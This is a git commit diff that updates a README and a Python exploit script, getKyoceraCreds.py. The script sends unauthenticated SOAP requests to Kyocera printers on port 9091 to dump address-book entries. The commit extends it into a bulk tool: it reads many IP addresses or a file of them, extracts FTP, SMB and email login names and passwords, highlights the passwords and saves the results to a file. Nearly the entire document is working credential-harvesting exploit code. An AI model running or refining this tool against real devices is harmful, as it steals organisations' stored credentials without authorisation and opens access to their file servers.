Some fix
This commit is contained in:
22
README.md
22
README.md
@@ -14,8 +14,26 @@ The python script connects to the MFP on TCP port 9091 and issues a SOAP request
|
||||
|
||||
Feel free to submit a PR with improved parsing, as I never came back around to beautifying the output or exploit process.
|
||||
|
||||
### Usage:
|
||||
`python3 getKyoceraCreds.py <printerip>`
|
||||
### Usage
|
||||
|
||||
```bash
|
||||
# одиночный IP
|
||||
python3 getKyoceraCreds.py 10.0.0.10
|
||||
|
||||
# несколько адресов через запятую или аргументами
|
||||
python3 getKyoceraCreds.py 10.0.0.10,10.0.0.20 -i 10.0.0.30
|
||||
|
||||
# загрузка списка IP из файла (по одному в строке, поддерживаются строки через запятую)
|
||||
python3 getKyoceraCreds.py -f ips.txt
|
||||
|
||||
# сохранение результата в файл
|
||||
python3 getKyoceraCreds.py 10.0.0.10 -o result.txt
|
||||
```
|
||||
|
||||
Скрипт выводит прогресс по каждому устройству и пытается разобрать SOAP-ответы, показывая поля
|
||||
`login_name`, `login_password`, `email_address`, а при их отсутствии — подробные записи адресной книги
|
||||
(имя, email, FTP/SMB серверы, логины и пароли, если заданы). Обнаруженные пароли дополнительно подсвечиваются
|
||||
в выводе, а при использовании `-o/--output` все сообщения дублируются в указанный файл.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -16,39 +16,294 @@ Usage:
|
||||
python3 getKyoceraCreds.py printerip
|
||||
"""
|
||||
|
||||
import requests
|
||||
import xmltodict
|
||||
import warnings
|
||||
import argparse
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import warnings
|
||||
from typing import Dict, Iterable, List, Optional, Sequence
|
||||
|
||||
import requests
|
||||
import xmltodict
|
||||
|
||||
warnings.filterwarnings("ignore")
|
||||
|
||||
url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1])
|
||||
headers = {'content-type': 'application/soap+xml'}
|
||||
# Submit an unauthenticated request to tell the printer that a new address book object creation is required
|
||||
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
|
||||
|
||||
response = requests.post(url,data=body,headers=headers, verify=False)
|
||||
strResponse = response.content.decode('utf-8')
|
||||
#print(strResponse)
|
||||
class Reporter:
|
||||
def __init__(self, file_path: Optional[str] = None):
|
||||
self.file = None
|
||||
self._ansi_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||
if file_path:
|
||||
self.file = open(file_path, "w", encoding="utf-8")
|
||||
|
||||
def write(self, message: str = "") -> None:
|
||||
print(message)
|
||||
if self.file:
|
||||
cleaned = self._ansi_re.sub("", message)
|
||||
self.file.write(cleaned + "\n")
|
||||
self.file.flush()
|
||||
|
||||
def close(self) -> None:
|
||||
if self.file:
|
||||
self.file.close()
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, exc_type, exc_val, exc_tb):
|
||||
self.close()
|
||||
|
||||
|
||||
parsed = xmltodict.parse(strResponse)
|
||||
# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
|
||||
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration']
|
||||
|
||||
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:get_personal_address_listRequest><ns1:enumeration>{}</ns1:enumeration></ns1:get_personal_address_listRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(getNumber)
|
||||
|
||||
print("Obtained address book object: {}. Waiting for book to populate".format(getNumber))
|
||||
time.sleep(5)
|
||||
print("Submitting request to retrieve the address book object...")
|
||||
def parse_ip_input(values: Sequence[str]) -> List[str]:
|
||||
ips: List[str] = []
|
||||
for value in values:
|
||||
for ip in value.split(","):
|
||||
cleaned = ip.strip()
|
||||
if cleaned:
|
||||
ips.append(cleaned)
|
||||
return ips
|
||||
|
||||
|
||||
response = requests.post(url,data=body,headers=headers, verify=False)
|
||||
strResponse = response.content.decode('utf-8')
|
||||
#rint(strResponse)
|
||||
def load_ips_from_file(path: str) -> List[str]:
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
lines = [line.strip() for line in f if line.strip() and not line.strip().startswith("#")]
|
||||
return parse_ip_input(lines)
|
||||
|
||||
parsed = xmltodict.parse(strResponse)
|
||||
print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
|
||||
|
||||
print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'")
|
||||
def build_request_body(action: str, payload: str) -> str:
|
||||
return (
|
||||
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
|
||||
"<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\" "
|
||||
"xmlns:SOAP-ENC=\"http://www.w3.org/2003/05/soap-encoding\" "
|
||||
"xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
|
||||
"xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:xop=\"http://www.w3.org/2004/08/xop/include\" "
|
||||
"xmlns:ns1=\"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book\">"
|
||||
"<SOAP-ENV:Header>"
|
||||
f"<wsa:Action SOAP-ENV:mustUnderstand=\"true\">{action}</wsa:Action>"
|
||||
"</SOAP-ENV:Header>"
|
||||
f"<SOAP-ENV:Body>{payload}</SOAP-ENV:Body>"
|
||||
"</SOAP-ENV:Envelope>"
|
||||
)
|
||||
|
||||
|
||||
def request_enumeration(url: str, headers: Dict[str, str]) -> str:
|
||||
body = build_request_body(
|
||||
"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration",
|
||||
"<ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest>",
|
||||
)
|
||||
response = requests.post(url, data=body, headers=headers, verify=False)
|
||||
parsed = xmltodict.parse(response.content.decode("utf-8"))
|
||||
return (
|
||||
parsed["SOAP-ENV:Envelope"]["SOAP-ENV:Body"][
|
||||
"kmaddrbook:create_personal_address_enumerationResponse"
|
||||
]["kmaddrbook:enumeration"]
|
||||
)
|
||||
|
||||
|
||||
def request_address_list(url: str, headers: Dict[str, str], enumeration: str):
|
||||
body = build_request_body(
|
||||
"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list",
|
||||
f"<ns1:get_personal_address_listRequest><ns1:enumeration>{enumeration}</ns1:enumeration></ns1:get_personal_address_listRequest>",
|
||||
)
|
||||
response = requests.post(url, data=body, headers=headers, verify=False)
|
||||
return xmltodict.parse(response.content.decode("utf-8"))
|
||||
|
||||
|
||||
def find_credential_entries(data) -> List[Dict[str, str]]:
|
||||
entries: List[Dict[str, str]] = []
|
||||
|
||||
def walk(obj):
|
||||
if isinstance(obj, dict):
|
||||
keys = set(obj.keys())
|
||||
if keys & {"login_name", "login_password", "email_address", "emailaddress"}:
|
||||
entries.append(obj)
|
||||
for value in obj.values():
|
||||
walk(value)
|
||||
elif isinstance(obj, list):
|
||||
for item in obj:
|
||||
walk(item)
|
||||
|
||||
walk(data)
|
||||
return entries
|
||||
|
||||
|
||||
def _ensure_list(value):
|
||||
if value is None:
|
||||
return []
|
||||
if isinstance(value, list):
|
||||
return value
|
||||
return [value]
|
||||
|
||||
|
||||
def parse_personal_addresses(body: Dict) -> List[Dict[str, str]]:
|
||||
response = body.get("kmaddrbook:get_personal_address_listResponse", {})
|
||||
personal = _ensure_list(response.get("kmaddrbook:personal_address"))
|
||||
|
||||
parsed: List[Dict[str, str]] = []
|
||||
for item in personal:
|
||||
name_info = item.get("kmaddrbook:name_information", {})
|
||||
email_info = item.get("kmaddrbook:email_information", {})
|
||||
ftp_info = item.get("kmaddrbook:ftp_information", {})
|
||||
smb_info = item.get("kmaddrbook:smb_information", {})
|
||||
|
||||
parsed.append(
|
||||
{
|
||||
"id": name_info.get("kmaddrbook:id"),
|
||||
"name": name_info.get("kmaddrbook:name"),
|
||||
"furigana": name_info.get("kmaddrbook:furigana"),
|
||||
"email": email_info.get("kmaddrbook:address"),
|
||||
"ftp_server": ftp_info.get("kmaddrbook:server_name"),
|
||||
"ftp_port": ftp_info.get("kmaddrbook:port_number"),
|
||||
"ftp_login": ftp_info.get("kmaddrbook:login_name")
|
||||
or ftp_info.get("kmaddrbook:user_name"),
|
||||
"ftp_password": ftp_info.get("kmaddrbook:login_password"),
|
||||
"smb_server": smb_info.get("kmaddrbook:server_name"),
|
||||
"smb_port": smb_info.get("kmaddrbook:port_number"),
|
||||
"smb_login": smb_info.get("kmaddrbook:login_name"),
|
||||
"smb_password": smb_info.get("kmaddrbook:login_password"),
|
||||
}
|
||||
)
|
||||
|
||||
return parsed
|
||||
|
||||
|
||||
def _highlight_password(value: str) -> str:
|
||||
if value is None:
|
||||
return ""
|
||||
|
||||
is_terminal = sys.stdout.isatty()
|
||||
prefix = "\033[91m" if is_terminal else ""
|
||||
suffix = "\033[0m" if is_terminal else ""
|
||||
return f"{prefix}!! ПАРОЛЬ: {value} !!{suffix}"
|
||||
|
||||
|
||||
def _format_value(label: str, value: Optional[str]) -> Optional[str]:
|
||||
if value in (None, ""):
|
||||
return None
|
||||
if "пароль" in label.lower() or "password" in label.lower():
|
||||
return _highlight_password(value)
|
||||
return str(value)
|
||||
|
||||
|
||||
def display_address_book(addresses: Iterable[Dict[str, str]], reporter: Reporter) -> None:
|
||||
for idx, entry in enumerate(addresses, start=1):
|
||||
reporter.write(f" Контакт {idx}:")
|
||||
for label, key in [
|
||||
("ID", "id"),
|
||||
("Имя", "name"),
|
||||
("Фуригана", "furigana"),
|
||||
("Email", "email"),
|
||||
("FTP сервер", "ftp_server"),
|
||||
("FTP порт", "ftp_port"),
|
||||
("FTP логин", "ftp_login"),
|
||||
("FTP пароль", "ftp_password"),
|
||||
("SMB сервер", "smb_server"),
|
||||
("SMB порт", "smb_port"),
|
||||
("SMB логин", "smb_login"),
|
||||
("SMB пароль", "smb_password"),
|
||||
]:
|
||||
formatted = _format_value(label, entry.get(key))
|
||||
if formatted:
|
||||
reporter.write(f" {label}: {formatted}")
|
||||
reporter.write()
|
||||
|
||||
|
||||
def display_entries(entries: Iterable[Dict[str, str]], reporter: Reporter) -> None:
|
||||
for idx, entry in enumerate(entries, start=1):
|
||||
reporter.write(f" Запись {idx}:")
|
||||
for key, value in entry.items():
|
||||
if isinstance(value, (dict, list)):
|
||||
continue
|
||||
formatted = _format_value(key, value)
|
||||
if formatted:
|
||||
reporter.write(f" {key}: {formatted}")
|
||||
reporter.write()
|
||||
|
||||
|
||||
def process_printer(ip: str, reporter: Reporter) -> None:
|
||||
url = f"https://{ip}:9091/ws/km-wsdl/setting/address_book"
|
||||
headers = {"content-type": "application/soap+xml"}
|
||||
|
||||
try:
|
||||
enumeration = request_enumeration(url, headers)
|
||||
except Exception as exc: # noqa: BLE001
|
||||
reporter.write(f"[!] Не удалось получить объект адресной книги с {ip}: {exc}")
|
||||
return
|
||||
|
||||
reporter.write(f"[*] Получен объект адресной книги {enumeration} от {ip}. Ожидание заполнения...")
|
||||
time.sleep(5)
|
||||
reporter.write("[*] Запрашиваем адресную книгу...")
|
||||
|
||||
try:
|
||||
parsed_response = request_address_list(url, headers, enumeration)
|
||||
except Exception as exc: # noqa: BLE001
|
||||
reporter.write(f"[!] Не удалось получить адресную книгу с {ip}: {exc}")
|
||||
return
|
||||
|
||||
body = parsed_response.get("SOAP-ENV:Envelope", {}).get("SOAP-ENV:Body", {})
|
||||
entries = find_credential_entries(body)
|
||||
|
||||
if entries:
|
||||
reporter.write(f"[*] Найдено записей с учетными данными: {len(entries)}")
|
||||
display_entries(entries, reporter)
|
||||
else:
|
||||
addresses = parse_personal_addresses(body)
|
||||
if addresses:
|
||||
reporter.write("[!] Явные учетные данные не найдены. Распарсенные записи адресной книги:")
|
||||
display_address_book(addresses, reporter)
|
||||
else:
|
||||
reporter.write("[!] Не найдено ни учетных данных, ни записей адресной книги. Полный ответ:")
|
||||
reporter.write(str(body))
|
||||
|
||||
|
||||
|
||||
def main(argv: Sequence[str]) -> None:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Извлечение адресной книги Kyocera без аутентификации",
|
||||
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
|
||||
)
|
||||
parser.add_argument("ips", nargs="*", help="IP-адреса (через пробел или запятую)")
|
||||
parser.add_argument(
|
||||
"-i",
|
||||
"--ip",
|
||||
dest="extra_ips",
|
||||
action="append",
|
||||
default=[],
|
||||
help="Дополнительные IP-адреса (можно перечислять через запятую)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-f",
|
||||
"--file",
|
||||
dest="file",
|
||||
help="Путь к файлу с IP-адресами (один в строке, можно через запятую)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-o",
|
||||
"--output",
|
||||
dest="output",
|
||||
help="Путь к файлу для сохранения результатов",
|
||||
)
|
||||
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
ips: List[str] = []
|
||||
if args.file:
|
||||
ips.extend(load_ips_from_file(args.file))
|
||||
ips.extend(parse_ip_input(args.ips))
|
||||
ips.extend(parse_ip_input(args.extra_ips))
|
||||
|
||||
if not ips:
|
||||
print("Необходимо указать хотя бы один IP-адрес (через аргумент, запятую или файл)")
|
||||
sys.exit(1)
|
||||
|
||||
unique_ips = list(dict.fromkeys(ips))
|
||||
total = len(unique_ips)
|
||||
|
||||
with Reporter(args.output) as reporter:
|
||||
for index, ip in enumerate(unique_ips, start=1):
|
||||
reporter.write(f"\n[{index}/{total}] Обработка {ip}")
|
||||
process_printer(ip, reporter)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main(sys.argv[1:])
|
||||
|
||||
Reference in New Issue
Block a user